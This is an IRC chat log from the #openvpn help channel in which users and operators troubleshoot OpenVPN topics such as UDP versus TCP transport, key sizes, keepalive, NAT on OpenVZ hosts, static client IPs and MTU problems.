06:07 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:07 <@dazo> and don't you ever 'dear' me again
06:08 <@dazo> !tcpip
06:08 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
06:13 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:13 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:13 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:13 < javacoder-> Thanks for book
06:17 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
06:47 -!- newbie|2 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
06:48 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 240 seconds]
06:50 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
06:50 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
07:03 -!- brad [~brad@ninja.so] has joined #openvpn
07:03 -!- tabakhase [t4b4kh453@rps9289.ovh.net] has quit [Changing host]
07:03 -!- tabakhase [t4b4kh453@unaffiliated/tabakhase] has joined #openvpn
07:08 -!- MarKsaitis [~MarKsaiti@194.168.211.138] has joined #openvpn
07:31 -!- master_of_master [~master_of@p4FF24CD0.dip.t-dialin.net] has joined #openvpn
07:35 -!- master_o1_master [~master_of@p4FF24419.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
07:41 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
07:41 < mnice> hello
07:41 < mnice> what's please this message: Thu Apr 18 14:14:40 2013 Replay-window backtrack occurred [1]
07:41 < mnice> sounds sick
07:43 <@Eugene> Fairly sure that's just out-of-order packets, because UDP.
07:44 <@dazo> mnice: look at --replay-window in the man page
07:44 <@dazo> it's described pretty well there
07:44 < mnice> i googled it and found various points including that switching openvpn to run on tcp instead of udp should increase stability but slightly decrease latency and performance
07:44 < mnice> true/false ?
07:44 <@Eugene> !tcp
07:44 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
07:45 < mnice> ultra-fair .. thanks Eugene
07:45 <@Eugene> If your link is already dropping packets / sending them out-of-order then TCP will make the problem WORSE by amplifying the tcp replays
07:45  * mnice feels better when devoured something new what didn't know before
07:45 <@Eugene> The problem with Googling for an error is that most people are idiots
07:46 <@Eugene> It sounds like it fixed the problem because it's hiding it under a new one ;-)
07:46 <@dazo> s/idiots/clueless idiots/
07:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
07:46 < Rienzilla> so idiots with a clue exist?
07:46 < Rienzilla> :)
07:46 < mnice> Eugene: not sure .. i'm connected to vpn server right now from mobile connection .. my mobile modem sucks and i believe that's caused by that
07:46 <@Eugene> Yup, mobile connections are notoriously unreliable. UDP deals with that great
07:47 < mnice> i can't test from more stable client site .. in the log there's the message multiplied but i don't think - from what you say - that's the problem on server side
07:47 <@Eugene> The TCP connections inside will ensure that the packets get there
07:48 < kisom> Afaik OpenVPN has its own retransmission scheme when using UDP
07:48 < kisom> (I think)
07:48 < mnice> Eugene: interesting, how googling is dangerous :D .. well, internet is for all so one might presume, that the most of seriously appearing points to given problem are written by totally uncompetent ppl .. so that's why i'm asking here
07:49 < mnice> so finally (i'm not a big openvpn expert) UDP should be *always preffered for tun/tap (openvpn) connections ?
07:50 <@Eugene> "Yes"
07:50 < kisom> mnice: Generally yes. In my experience, with a lot of NATed clients, TCP is more reliable since the connection isn't closed by the NAT firewall so soon
07:51 <@dazo> mnice: wherever it works best, yes ... but default to udp ... if unreliable and tcp performs better, then tcp is the solution
07:51 < mnice> well, on the other side irc could be also occupied by uncompetent hordes :D .. and the most likely it is :D
07:51 < mnice> thanks guys
07:51 < mnice> all solved
07:54 < mnice> Eugene & dazo .. last Q: .. i created new router providing openvpn server to our devels .. it all works but 2) router runs as esxi vm with ``Intel(R) Xeon(R) CPU           E5520  @ 2.27GHz'' and 8MB cache but only one thread (one (v)cpu) .. do you think it's fine for dealing say 10-30 ssl enhanced clients at same time ?
07:54 < mnice> from performance view
07:55 <@Eugene> Depends how much  bandwidth you're talking about :-p
07:55 <@dazo> mnice: we've heard people complaining about performance when having 100-150 active users at the same time
07:55 <@Eugene> !gigabit
07:55 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
07:55 < rob0> mnice, did you read those papers linked above regarding TCP over TCP?
07:55 < mnice> gonna do
07:55 <@Eugene> `openvpn` is single-threaded. For large numbers of clients(100+) you should balance them among multiple openvpn instances
07:55 <@dazo> mnice: as long as you have the bandwidth .... 10-30 users should be no issues
07:55 < mnice> but not already
07:55 < mnice> thanks again
07:56 < mnice> 14:55 <@Eugene> `openvpn` is single-threaded. For large numbers of clients(100+) you should balance them among multiple openvpn instances
07:56 < mnice> ^^ this explains everything
07:56 < mnice> great
07:57 < kisom> That problem can be resolved by having iptables balance the incomming connections to multiple openvpn instances.
07:58 < mnice> btw, i was been also fiddling with that damned pptp/l2tp and it's HORROR .. god bless openvpn and hell takes our ignorant and lazy devels who wanted at all costs windows solution and made me busy for few days until i finally decided that i never again will touch pptp
07:58 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has quit [Ping timeout: 245 seconds]
07:59 < rob0> ? Did you not know that openvpn has been implemented for Windows since many years ago?
08:00 < rob0> Heh, I remember all too well when Windows support started. The mailing list was mobbed, like the Eternal September. :)
08:00 < mnice> kisom: sure .. i can realize how it might look in ipvsadm
08:01 < mnice> rob0: i know .. it was not about server/client but rather about those sick minds ;)
08:01 < rob0> :)
08:02 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has joined #openvpn
08:06 < mnice> and really last Q: .. sorry if it's stupid but i'm not very experienced with openvpn
08:07 < mnice> are defaults settings with 2048b keys + pem passphrase safe ? i mean suggested setup as in vpn-howto
08:07 <@Eugene> Yes, but 4096 is better
08:07 <@Eugene> 8192 is betterer, but not everything knows how to speak them.
08:07 < mnice> in real i did no big job with settings .. changed few values, generated PKI and voila, it works like charm
08:08 <@Eugene> Yup.
08:09 < mnice> Eugene: well .. default is 1024 and i've read at the forum that even default is relatively safe and only *paranoic users should use >= 4096
08:09 < mnice> i increased that -> 2048b
08:09 <@Eugene> Paranoia is a virtue.
08:09 < mnice> and all keys are secured with pem passphrase
08:09 < mnice> hehe
08:09 < mnice> yeah .. that's the quote of the day !!
08:12 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
08:14 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:18 -!- xbanux1 [~xbanux@115.254.75.113] has quit []
08:24 < vaillor> hi guys
08:24 < vaillor> if i do not use "keepalive 10 120" line in server config
08:24 < vaillor> connection ends and starts continuosly
08:24 < vaillor> why?
08:25 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 252 seconds]
08:25 < mnice> because you did not use teh line :D
08:25 <@dazo> mnice: if you want to raise the paranoia support level a bit .... you can have a look at eurephia too
08:25 <@dazo> !eurephia
08:25 <@vpnHelper> "eurephia" is http://www.eurephia.net/
08:26 < vaillor> why i should use a keepalive? it's not normal
08:26 < mnice> vaillor: it's like you asking "if i cut off head to poultry they seem DEAD !!"
08:26 < mnice> dazo: thanks
08:27 <@dazo> (I've recently completed a new eurephia API for external authentication, like f.ex LDAP .... but haven't had time to write the LDAP module yet)
08:27 < vaillor> mnice, "keepalive" it's a line that by defailt there isn't
08:27 < vaillor> i added it by myself
08:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:32 -!- MarKsaitis [~MarKsaiti@194.168.211.138] has quit [Ping timeout: 255 seconds]
08:36 < rob0> vaillor, see --ping in the man page. Possibly you are passing through a firewall that forgets state of an inactive tunnel.
08:37 < rob0> Anyway, you seem to have found the solution to the problem, right?
08:37 < vaillor> rob0, yes, but i'd like to understand the problem
08:37 < rob0> Yes, --keepalive is commonly used.
08:38 < vaillor> --ping is the same of --keepalive?
08:38 < rob0> And I pointed to one possible explanation, did you read that yet?
08:38 < vaillor> i read --keepalive
08:38 < vaillor> no --ping
08:39 < rob0> --keepalive is right below --ping and --ping-restart in the man page.
08:42 < vaillor> rob0, i use it alone
08:43 < rob0> --keepalive is a helper directive designed to simplify the expression of --ping  and --ping-restart
08:45 < vaillor> rob0, are you saying that keepalive = ping + ping-restart ?
08:45 -!- mitz [~mitz@222.227.247.6] has joined #openvpn
08:46 <@Eugene> We're saying you need to read the manual.
08:46 < Rienzilla> :)
08:46 < rob0> I am directly copying and pasting therefrom!
08:46 <@Eugene> I'm sure I've banned this clown before
08:47 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
08:52 <@dazo> Eugene: I think that user is on my ignore list ...
08:52 <@Eugene> Likely.
08:52 < vaillor> i have to go
08:52 < vaillor> bye all
08:52 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit []
08:52 <@ecrist> who are we talking about today?
08:53 <@dazo> I see people being aggressive to vaillor ... and I don't see him talking :)
08:53 <@ecrist> heh
08:53  * dazo feels lucky :)
08:55 < rob0> I don't like to use /ignore very often. I just try to remember who is ignoreworthy. :)
08:56 <@dazo> rob0: yeah, me too ... but I have a few on the list ... who just pissed me off so much, so I did it to get a calmer and relaxed life ... and it worked ;-)
09:15 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
09:17 -!- newbie|2 [~tjz@bb119-74-164-84.singnet.com.sg] has quit [Ping timeout: 245 seconds]
09:33 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
09:42 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
09:44 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has quit [Quit: Leaving]
09:46 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:06 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
10:06 < Assid> heya
10:16 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Quit: AAAGH!  IT BURNS!]
10:31 -!- Assid [~kvirc@unaffiliated/assid] has quit [Read error: Connection reset by peer]
10:32 -!- Assid [~kvirc@59.164.38.86] has joined #openvpn
10:32 -!- Assid [~kvirc@59.164.38.86] has quit [Changing host]
10:32 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
10:34 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
10:37 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
10:39 -!- franks2 [~frank@91.229.143.143] has quit [Ping timeout: 252 seconds]
10:45 -!- franks2 [~frank@91.229.143.143] has joined #openvpn
11:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:05 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:12 -!- Assid [~kvirc@unaffiliated/assid] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
11:30 -!- vaillor [~vaillor@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
11:31 -!- mitz [~mitz@222.227.247.6] has quit [Ping timeout: 272 seconds]
11:35 -!- vaillor [~vaillor@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
11:39 -!- vaillor [~vaillor@109.114.190.100] has joined #openvpn
11:46 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:49 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:55 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
11:58 -!- vaillor [~vaillor@109.114.190.100] has quit [Quit: vaillor]
11:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:02 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
12:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
12:09 < cj> hey, look!  the ipsec tunnel and the sit sub-tunnel stayed up all night!
12:19 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
12:20 -!- dazo is now known as dazo_afk
12:23 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
12:37 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
12:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:43 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Read error: Connection reset by peer]
12:45 -!- brute11k [~brute@89.249.235.221] has joined #openvpn
12:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:53 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:55 -!- u0m3_ [~Radu@92.80.112.244] has joined #openvpn
12:56 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has joined #openvpn
12:57 -!- u0m3 [~Radu@92.80.87.68] has quit [Ping timeout: 260 seconds]
12:58 -!- u0m3_ [~Radu@92.80.112.244] has quit [Read error: Connection reset by peer]
13:00 < Kendall> I have a two node cluster that runs openpvn as a resource.  each node has a public IP permanently assigned, and the active node has many more (public) 'virtual ip addresses'  assigned.  Is it possible to have the openvpn client connect using the same VIP every time ?
13:00 < Kendall> right now openvpn client connects to server using whatever is the permanently assigned IP
13:03 -!- u0m3 [~Radu@109.96.151.137] has joined #openvpn
13:11 -!- ZombieDahmer [ZombieDahm@c-67-169-147-158.hsd1.ca.comcast.net] has quit []
13:18 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:24 -!- NuclearMeltdown [rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has quit [Changing host]
13:24 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has joined #openvpn
13:35 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
13:35 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
13:51 < BenLue> Hello ppls i have some Problems. login works fine to my VPS VPN but i have already my IP from my Home Provider
13:52 < BenLue> push "redirect-gateway" is uncommented. Anyone ideas?
13:52 <@Eugene> !redirect
13:52 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:52 <@vpnHelper> http://ircpimps.org/redirect.png
13:52 <@Eugene> !def1
13:52 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:54 < BenLue> Eugene [20:51:54] <BenLue> push "redirect-gateway" is uncommented. Anyone ideas?
13:55 <@Eugene> Flowchart.
14:05 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:06 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
14:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:18 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
14:23 < BenLue> Eugene i cant pimg 8.8.8.8 how can i check NAT is enabled?
14:24 <@Eugene> !nat
14:24 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
14:24 < BenLue> *ping
14:27 < BenLue> root@vpn:~# iptables -t nat -A POSTROUTING -s 10.10.1.0/24 -o eth0 -j MASQUERADE -> iptables: No chain/target/match by that name. )o;
14:29 < pekster> What virtulization technology?
14:30 < BenLue> OpenVZ
14:30 < pekster> Try a real virtulization platform and you'll have better luck
14:30 < pekster> !openvz
14:30 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
14:31 < pekster> ie: #2 there. OpenVZ isn't really "virtualization" but a glorified chroot environment that does some tweaking of your PIDs and devices
14:34 < vaillor2> can you give me an howto to know how set static ip for every client?
14:34 <@Eugene> !static
14:34 < vaillor2> *to
14:34 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:34 < vaillor2> thank you
14:40 < kisom> !iporder
14:40 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
14:41 < kisom> So what happens when my --client-connect script tells OpenVPN to set the same IP address on two peers? ;)
14:41 < kisom> Things blow up?
14:43 < jzaw> the snake swallows is on tail
14:43 < jzaw> and the world dissappears down a black hole?
14:43 < jzaw> s/on/own
14:44 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
14:44 < CygniX> Is there anything I need to know about openvpn on linux-vserver?
14:45 < CygniX> is there anything special that is needed compared to openvz in order to get it to work?
14:47 < kisom> CygniX: Not really, in my experience it's rather iptables that needs tweaking in openvz
14:47 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 252 seconds]
14:48 < vaillor2> kisom, i prefer to not use ccd
14:48 < CygniX> kisom: I have gotten openvpn working on a couple openVZ boxes, this would be the first am trying VServer and thought I'd check here first
14:48 < vaillor2> i prefer to set client ip directly into every client configuration
14:48 < vaillor2> and not from the server
14:48 < vaillor2> like a normal phisical network
14:49 < BenLue> pekster thanks for your infomation
14:49 < BenLue> sry i cant change my virtulization platform
14:50 -!- vaillor2 is now known as vaillor
14:50 < pekster> Why apologize? It's not *my* problem ;)
14:50 < kisom> Tbh I don't remember how openVZ works. I only had to use it once and we quickly migrated away from it because I don't want to maintain dual codebases.
14:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:52 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
14:54 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
14:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
14:58 <@Eugene> kisom - "poorly"
15:08 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has quit [Ping timeout: 240 seconds]
15:09 < jzaw> if i can scp in ipv4 over an ipv4 tunnel and max out my server uplink
15:10 < jzaw> but i scp in v6 over the same ipv4 tunnel and it starts out good but grinds to a halt or goes at about 5% of speed if at all
15:10 < jzaw> is that likely to be an mtu issue?
15:10 < jzaw> tcp + routed tap
15:10 < jzaw> using tcp no delay
15:11 <@ecrist> yeah, MTU likely
15:11 <@ecrist> set your MTU to 1400 and try that
15:14 <@ecrist> !mtu
15:14 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
15:14 < jzaw> when i mtr -s 1500 pings get through ... but the tap's dont respnd
15:14 < jzaw> when i reduce to 1460
15:14 < jzaw> the whole path responds inc the taps
15:14 < jzaw> ecrist, cant run mtu-test ... tcp tunnel
15:15 < jzaw> will have to try a udp tunnel i guess
15:15 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has left #openvpn []
15:15 <@ecrist> !tcp
15:15 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
15:16  * jzaw is using #3
15:16 <@ecrist> --tcp-nodelay doesn't make TCP ok
15:16 <@ecrist> it makes it tolerable, kinda
15:16 < jzaw> i found sip calls much MUCH smoother and without artifacts using tcp
15:16 < pekster> It also won't have any effect on MTU issues, fwiw
15:17 < jzaw> im about 2,000km from server + PL networks can be very very lossy
15:17 < jzaw> esp this cable network
15:25 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:25 < BenLue> hmmm damn OpenVZ. iptables rule as MASQUERADE is not available
15:26 < BenLue> http://pastebin.com/WzefxbSk
15:26 <@ecrist> !openvz
15:26 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
15:26 < BenLue> now i can ping google.com but i havnt the VPS ip
15:27 <@Eugene> We really won't/can't support VZ beyond the information linked above.
15:27 < BenLue> ecrist, Eugene was posting me !openvz
15:28  * ecrist shrug
15:28 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has quit [Ping timeout: 240 seconds]
15:28 < BenLue> -.-
15:31 < BenLue> lol now i see i have an ipv6 Adress o.O
15:32 < BenLue> Strange, ipv4 from my ISP and ipv6
15:45 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
15:50 < jzaw> !ping
15:50 <@vpnHelper> pong
15:54 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Ping timeout: 246 seconds]
16:00 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
16:03 < BenLue> !ping
16:03 <@vpnHelper> pong
16:03 < kisom> !ping
16:03 <@vpnHelper> pong
16:03 < kisom> Ooh, so that's how it works ;)
16:05 < BenLue> !peng
16:05 < BenLue> -.-
16:13 -!- Markz [~Mr_Worldw@vpn4.hotsplots.net] has joined #openvpn
16:13 < Markz> dns leak test detected 0 dns server is that good or bad?
16:14 < Markz> ji
16:14 < Markz> hi
16:15 < Markz> its like tap in the darkness we say here in germany
16:16 < kisom> Markz:
16:16 < kisom> !notovpn
16:16 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
16:17 < Markz> where begins help where is the ending
16:17 < Markz> yes this but this not....
16:17 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:18 -!- Kendall [~gjones@173-165-28-227-Illinois.hfc.comcastbusiness.net] has quit [Read error: Operation timed out]
16:18 < Markz> ok
16:19 -!- Markz [~Mr_Worldw@vpn4.hotsplots.net] has quit [Quit: Verlassend]
16:20 -!- mattock is now known as mattock_afk
16:21 < BenLue> anyone familiar with OpenVZ and OpenVPN?
16:25 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
16:28 -!- S1lv3R [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
16:29 -!- BenLue [~BenLue@unaffiliated/benlue] has quit [Ping timeout: 248 seconds]
16:29 -!- S1lv3R is now known as BenLue
16:29 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Changing host]
16:29 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
16:52 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:08 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
17:12 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:16 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
17:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:17 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
17:18 < hg_5> hello, how to bind openvpn to specific port on router?
17:23 -!- JesseCW [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit []
17:25 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
17:26 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 258 seconds]
17:27 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
17:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:30 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 245 seconds]
17:33 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
17:34 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
17:35 -!- erry [erry@freenode/staff/erry] has quit [Remote host closed the connection]
17:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 258 seconds]
17:37 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
18:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
18:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
18:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
18:22 < kisom> Seems TCP support is still broken in the iOS app
18:23 < kisom> Maybe I should just go with the flow and start using UDP like everyone else.
18:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:33 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
18:36 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:41 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
18:56 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
18:56 < FatDarrel> hello
18:56 < FatDarrel> need to update openpna as do i need to update it?
18:58 < pekster> What on earth does that have to do with openvpn?
18:58 <@ecrist> !as
18:58 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:58 <@Eugene> That would be why.
19:05 < pekster> pna?
19:06 < pekster> Best I can find is "PhatNoise proprietary audio file format"
19:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:12 < pekster> Or some typoed forms of 'openvpnas'. Maybe that's it
19:18 -!- Rienzilla [rien@sinas.rename-it.nl] has quit [Ping timeout: 276 seconds]
19:19 <@Eugene> That's what I had figured
19:26 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:28 < FatDarrel> thanks
19:28 -!- raidz is now known as raidz_away
19:41 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Ping timeout: 256 seconds]
19:41 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
19:46 < BenLue> Eugene OpenVPN works but my Client makes Trouble ^^
19:47 < BenLue> Its client site Problem
20:11 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:30 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:37 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
20:37 -!- wykydtro- [tassadar@persephone.darkness-reigns.net] has quit [Ping timeout: 245 seconds]
20:39 -!- BenLue [~BenLue@unaffiliated/benlue] has quit [Ping timeout: 264 seconds]
20:47 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
20:47 -!- combsbj_ [~Brandon@74-136-165-178.dhcp.insightbb.com] has joined #openvpn
20:48 < combsbj_> any idea if it's possible to store the keypairs on my android device without using a screen lock?  (this may be a rule enabled when I add exchange email to the phone)
